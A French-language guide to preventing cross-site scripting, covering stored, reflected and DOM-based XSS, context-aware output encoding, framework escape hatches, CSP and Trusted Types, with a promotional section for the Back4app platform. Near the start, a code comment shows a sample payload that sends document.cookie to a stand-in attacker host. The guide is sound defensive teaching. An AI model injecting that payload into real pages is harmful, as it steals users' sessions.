Le cross-site scripting est une attaque qui injecte des scripts malveillants dans des pages de confiance ; s’en prémunir, c’est encoder la sortie par contexte. Le navigateur est victime de sa propre confiance : un script qui arrive dans une page servie par une origine légitime s’exécute avec tous les pouvoirs de cette page — session, stockage, chaque action que l’utilisateur peut effectuer. Trois décennies plus tard, CWE-79 reste en tête des classements des faiblesses les plus dangereuses, parce que la cause profonde se commet un template à la fois : une entrée non fiable qui atteint la sortie sans encodage.
Points clés
| Question | Réponse |
|---|---|
| Les trois types | Stocké (en base) · réfléchi (dans l’URL) · basé sur le DOM (dans le JS client) |
| La défense principale | Encodage de sortie adapté au contexte — au rendu, selon la destination |
| La règle que tout le monde inverse | Validez pour la justesse ; encodez pour la sécurité — la validation seule n’y suffit pas |
| Frameworks | Échappement automatique par défaut — jusqu’à l’échappatoire (v-html, dangerouslySetInnerHTML) |
| Les filets de sécurité | CSP stricte · Trusted Types · cookies HttpOnly — de l’atténuation, pas des correctifs |
Une ligne vulnérable
// Le bug — les données utilisateur rencontrent un sink HTML
commentEl.innerHTML = comment.text;
// Payload que quelqu'un finira par soumettre :
// <img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">
// Le navigateur de chaque lecteur l'exécute, avec la session du lecteur.
// Le correctif — mêmes données, contexte texte
commentEl.textContent = comment.text; // le balisage s'affiche ; il ne s'exécute jamais
La discipline derrière ce correctif — stocker brut, afficher en sécurité — sur tout le stack :
// JavaScript / Node.js — Back4app JS SDK + browser
// Store RAW, render SAFE — encoding happens at output, not at save
const comment = new Parse.Object('Comment');
comment.set('text', userInput); // saved as-is: O'Brien, 1 < 2, all fine
await comment.save();
// Rendering: textContent treats it as text — markup never executes
commentEl.textContent = comment.get('text'); // safe by construction
// commentEl.innerHTML = comment.get('text'); // ← the XSS sink // Flutter / Dart — Back4app Flutter SDK
// Store RAW, render SAFE — Flutter's Text() treats data as text, not markup
final comment = ParseObject('Comment')..set('text', userInput);
await comment.save(); // saved as-is — no encoding at write time
// Text() cannot execute markup — XSS needs an HTML context to exist
Text(comment.get<String>('text') ?? '');
// Danger returns with WebViews: never loadHtmlString() raw user content // iOS / Swift — Back4app Swift SDK
// Store RAW, render SAFE — UILabel treats data as text, not markup
var comment = Comment()
comment.text = userInput
try await comment.save() // saved as-is — no encoding at write time
label.text = comment.text // safe: text, not HTML
// Danger returns with WKWebView: never loadHTMLString() raw user content // Android / Kotlin — Back4app Android SDK
// Store RAW, render SAFE — TextView treats data as text, not markup
val comment = ParseObject("Comment")
comment.put("text", userInput)
comment.save() // saved as-is — no encoding at write time
textView.text = comment.getString("text") // safe: text, not HTML
// Danger returns with WebViews: never loadData() with raw user content XSS stocké vs. réfléchi vs. basé sur le DOM
| Stocké (persistant) | Réfléchi | Basé sur le DOM | |
|---|---|---|---|
| Où vit le payload | Dans votre base de données | Dans une URL piégée | Dans le flux de données côté client |
| Victimes | Tous ceux qui consultent la page | Quiconque clique sur le lien | Quiconque atteint cet état de la page |
| Le serveur le voit | Oui — à l’écriture | Oui — renvoyé à chaque requête | Souvent jamais |
| Vecteur classique | Commentaires, profils, messages | Échos de recherche, pages d’erreur | location.hash → innerHTML |
| Gravité (consensus) | Le plus dangereux | Ciblé, dépend du lien | Invisible pour les logs serveur et les WAF |
La défense principale : l’encodage de sortie adapté au contexte
La règle fondamentale, énoncée clairement puisque les sources de référence l’enterrent : la même chaîne est inoffensive à un endroit et fatale à un autre — c’est pourquoi l’encodage se fait à la sortie, selon la destination, et pourquoi la validation des entrées échoue toujours à elle seule : au moment de l’entrée, vous ne connaissez pas le contexte, les listes de blocage perdent face aux astuces d’encodage, et des données légitimes (O'Brien, 1 < 2) cassent sous une validation érigée en mesure de sécurité.
| Contexte de sortie | Encodage | L’erreur courante |
|---|---|---|
| Corps HTML | Encoder en entités & < > " ' | Se dire que “ce n’est que du texte” |
| Attribut HTML | Entités + toujours entourer l’attribut de guillemets | Attributs sans guillemets — un espace suffit à en sortir |
| Chaîne JavaScript | Échappement \uXXXX, via un sérialiseur | Concaténer des données utilisateur dans du JS inline |
| URL / href | Percent-encoding + valider le schéma | Les URL javascript: traversent sans problème l’encodage HTML |
| Valeur CSS | Listes d’autorisation strictes, valeurs de propriété uniquement | Blocs de style contrôlés par l’utilisateur |
| JSON dans une page | Sérialiser en JSON + échapper </script> | Blobs d’hydratation window.__STATE__ = … |
Lorsque les utilisateurs rédigent légitimement du HTML — texte enrichi, markdown — l’encodage le détruirait ; c’est l’unique rôle de la sanitization : une bibliothèque maintenue (DOMPurify) retire les constructions exécutables, et la sortie doit être utilisée telle quelle — retoucher une chaîne sanitizée annule la sanitization.
Frameworks : échappement par défaut, faille par l’échappatoire
Les frameworks modernes ont éliminé l’essentiel du XSS classique — les valeurs interpolées sont échappées automatiquement. Deux clauses en petites lignes maintiennent le bug en vie. D’abord, chaque framework fournit un contournement, et chacun est une cible de grep en code review :
| Framework | Échappe par défaut | L’échappatoire |
|---|---|---|
| React | Interpolation JSX | dangerouslySetInnerHTML |
| Vue | Templates {{ }} | v-html |
| Angular | Interpolation + sanitizer | bypassSecurityTrustHtml et consorts |
| Svelte | Expressions de template | {@html …} |
| Templates serveur | Mode auto-escape | Filtres | safe / | raw |
Ensuite, l’échappement automatique ne couvre que le contexte du corps HTML : un href lié à des données utilisateur exécute toujours les URL javascript:, et l’insertion dans un script inline exige toujours un encodage adapté au contexte JS. La réponse côté workflow : sanitizez avant toute échappatoire, validez le schéma des URL dans les liens liés à des données, et passez les échappatoires au linter (react/no-danger et consorts) pour que les exceptions restent délibérées.
Défense en profondeur : CSP, Trusted Types, HttpOnly
Les filets de sécurité, présentés honnêtement. Une politique de sécurité du contenu (Content Security Policy, CSP) stricte bloque les scripts inline injectés même lorsqu’une faille part en production :
Content-Security-Policy:
script-src 'nonce-{random-per-response}' 'strict-dynamic';
object-src 'none'; base-uri 'none'
Basée sur des nonces, pas sur des listes d’autorisation — les listes d’hôtes autorisés se contournent assez souvent pour que le cheat sheet de l’OWASP insiste : la CSP ne devrait pas être votre défense principale. Déployez-la d’abord en mode Report-Only. Trusted Types (require-trusted-types-for 'script') va plus loin contre le XSS basé sur le DOM : les sinks dangereux comme innerHTML refusent purement et simplement les chaînes brutes, ce qui force tout le HTML à passer par une politique unique et auditable. Enfin, les cookies HttpOnly protègent exactement une chose — les scripts injectés ne peuvent pas lire le cookie de session — ce qui compte, car des tokens stockés dans localStorage ne sont qu’à un localStorage.getItem de l’exfiltration : les recommandations de stockage des JWT et cet article sont le même argument vu des deux côtés. Aucun des trois ne corrige le bug ; tous trois réduisent ce qu’il rapporte.
La part du backend
Le XSS passe pour un problème de frontend ; une partie relève pourtant de l’API. Stockez brut, encodez à la sortie — encoder à l’écriture corrompt les données, provoque un double encodage lors des allers-retours et rate malgré tout les contextes que vous n’aviez pas prévus. Discipline du Content-Type : les réponses JSON déclarent Content-Type: application/json ainsi que X-Content-Type-Options: nosniff, car un paramètre réfléchi dans une réponse que le navigateur accepte d’interpréter comme du HTML est du XSS, avec quelques étapes de plus. Les pages d’erreur qui renvoient en écho l’URL ou les paramètres sont le sink réfléchi classique que personne ne relit en code review. Et le piège voisin qui mérite une phrase : afficher une entrée utilisateur comme un template plutôt que comme une donnée dépasse le XSS pour devenir une injection de template côté serveur (server-side template injection) — une entrée utilisateur est une donnée de template, jamais du code de template.
Cas d’usage courants
Là où ces défenses font leurs preuves :
- Commentaires, avis, messages — le territoire du XSS stocké : encodez au rendu, partout où ils apparaissent.
- Texte enrichi et markdown — le cas du HTML légitime : sanitizez au rendu, maintenez le sanitizer à jour.
- Recherche, filtres, pages d’erreur — le territoire du XSS réfléchi : tout ce qui renvoie des données de la requête les encode.
- SPA qui routent selon l’état de l’URL — le territoire du DOM : les données du fragment et de la query string n’atteignent jamais
innerHTMLsans sanitization. - WebViews mobiles — la surface XSS de l’app native : ne chargez jamais du contenu utilisateur brut comme du HTML.
Quelle défense en premier ? Matrice de décision
| Situation | À faire |
|---|---|
| Afficher du texte utilisateur | Interpolation du framework / textContent — rien de plus sophistiqué |
| Afficher du HTML rédigé par l’utilisateur | Sanitizer avec DOMPurify, utiliser la sortie telle quelle |
| Données utilisateur dans un lien | Valider le schéma par liste d’autorisation (https:), puis encoder |
| JSON/état inline dans les pages | Sérialiser en JSON avec un échappement sûr pour les scripts |
| Mettre en production l’un des cas ci-dessus | CSP stricte à nonces en Report-Only, puis en mode bloquant |
| Auditer du code existant | Grep sur les échappatoires et les sinks ; les passer au linter ; tester des payloads par contexte |
Limites et trade-offs
- L’encodage doit correspondre exactement au contexte. Encoder en HTML une donnée insérée dans une URL ou un bloc de script, c’est le schéma de la fausse sécurité — bonne défense, mauvais contexte, toujours exploitable.
- Les sanitizers sont des dépendances. Les contournements sont publiés ; un sanitizer figé à une version obsolète devient discrètement une vulnérabilité avec un changelog.
- La CSP coûte de l’ingénierie. Les nonces touchent chaque balise script et chaque handler inline ; adopter une CSP stricte sur une base de code legacy est un projet à part entière, d’où l’existence du mode Report-Only.
- Trusted Types a des limites d’adoption. Il ne fonctionne dans tous les navigateurs récents que depuis début 2026, et les anciens l’ignorent ; traitez-le comme un durcissement par-dessus l’encodage, pas comme une garantie.
- Les WAF ne sont pas la solution. Les filtres par correspondance de motifs attrapent les payloads connus et ratent les encodages et les mutations ; les recommandations de l’OWASP elles-mêmes les jugent peu fiables contre le XSS.
Prévention du XSS sur Back4app
Back4app est une plateforme open-source de Backend as a Service (BaaS) qui combine une base de données gérée, des API REST et GraphQL générées automatiquement, l’authentification, le stockage de fichiers et des fonctions serverless avec Cloud Code. La part du backend dans cette discipline est intégrée d’office : les données sont stockées brutes et renvoyées via des API JSON aux bons Content-Type — jamais rendues en HTML côté serveur — si bien que la responsabilité de l’encodage à la sortie revient clairement à votre couche UI, où les onglets de code ci-dessus montrent le schéma stocker-brut/afficher-en-sécurité pour chaque plateforme. Les contrôles du rayon d’impact sont déjà en place : les sessions reposent sur des tokens révocables plutôt que sur des identifiants à longue durée de vie dans localStorage, et les ACL associées aux permissions de classe bornent ce que tout script s’exécutant au nom d’un utilisateur pourrait toucher — un payload injecté hérite des permissions de la victime, pas de la base de données. Cloud Code est l’endroit idéal pour l’hygiène côté serveur qui reste : valider les champs URL contre une liste de schémas autorisés et sanitizer une seule fois les champs de texte enrichi, dans beforeSave, pour que chaque client affiche le même contenu déjà protégé.
Questions fréquentes
Qu'est-ce que le XSS, en termes simples ?
Un attaquant glisse son propre JavaScript dans une page consultée par d'autres — via un commentaire, un lien piégé, un champ de profil — et le navigateur des victimes l'exécute comme si le site lui-même l'avait écrit. Dès lors, le script peut faire tout ce que la victime peut faire : lire ses données, agir en son nom, voler sa session.
Quel est un exemple d'attaque XSS ?
Un champ de commentaire qui n'encode pas la sortie : soumettez une balise script en guise de commentaire, et elle s'exécute dans le navigateur de chaque lecteur. Les payloads de preuve de concept affichent une alerte ; les vrais envoient plutôt le cookie de session ou les tokens de la victime à l'attaquant.
Quelle est la différence entre XSS stocké, réfléchi et basé sur le DOM ?
Le chemin qu'emprunte le payload. Le XSS stocké vit dans la base de données et touche tous ceux qui consultent la page. Le XSS réfléchi voyage dans une URL piégée et touche quiconque clique dessus. Le XSS basé sur le DOM se produit entièrement dans le JavaScript côté client — les données de l'attaquant passent d'une source comme le fragment d'URL à un sink comme innerHTML, parfois sans jamais toucher le serveur.
Comment se prémunir contre le XSS ?
Dans l'ordre : un encodage de sortie adapté au contexte au moment du rendu (la défense principale), la validation des entrées comme couche d'appoint, une bibliothèque de sanitization quand les utilisateurs peuvent rédiger du vrai HTML, des headers Content-Type corrects sur les API, une Content Security Policy stricte comme filet de sécurité, et des cookies HttpOnly pour limiter ce qu'une attaque réussie peut voler.
Encodage de sortie, validation des entrées, sanitization — lequel choisir ?
Ce sont trois rôles différents. L'encodage convertit les caractères à la sortie pour que les données s'affichent comme du texte au lieu de s'exécuter — la défense principale, choisie selon le contexte. La validation rejette les entrées malformées à leur arrivée — utile pour la justesse, insuffisante pour la sécurité, car le danger dépend de l'endroit où les données atterrissent. La sanitization retire les constructions dangereuses d'un HTML que vous comptez effectivement afficher comme du HTML.
La Content Security Policy arrête-t-elle le XSS ?
Une CSP stricte, basée sur des nonces, bloque les scripts inline injectés même lorsqu'une faille existe — une véritable défense en profondeur. Mais c'est le filet, pas le correctif : les politiques à base de liste d'autorisation se contournent couramment, et les recommandations de l'OWASP sont explicites — la CSP ne doit jamais être la défense principale.
React et Vue empêchent-ils automatiquement le XSS ?
En grande partie — l'interpolation des templates échappe automatiquement les valeurs, ce qui a éliminé des classes entières de bugs. Mais chaque framework fournit des échappatoires qui réintroduisent le XSS tel quel : dangerouslySetInnerHTML dans React, v-html dans Vue, les API de contournement de la confiance dans Angular — sans oublier les URL javascript: dans les bindings href, que l'échappement automatique n'a jamais couvertes.
Quelle est la différence entre XSS et CSRF ?
La capacité. Le XSS exécute le code de l'attaquant dans le navigateur de la victime — dans les deux sens : il peut lire les réponses et faire tout ce que l'utilisateur peut faire. Le CSRF se contente de pousser le navigateur à envoyer des requêtes falsifiées — à sens unique, sans lecture, et tributaire d'une session active. Le XSS est la classe la plus grave, et une faille XSS peut neutraliser les défenses anti-CSRF.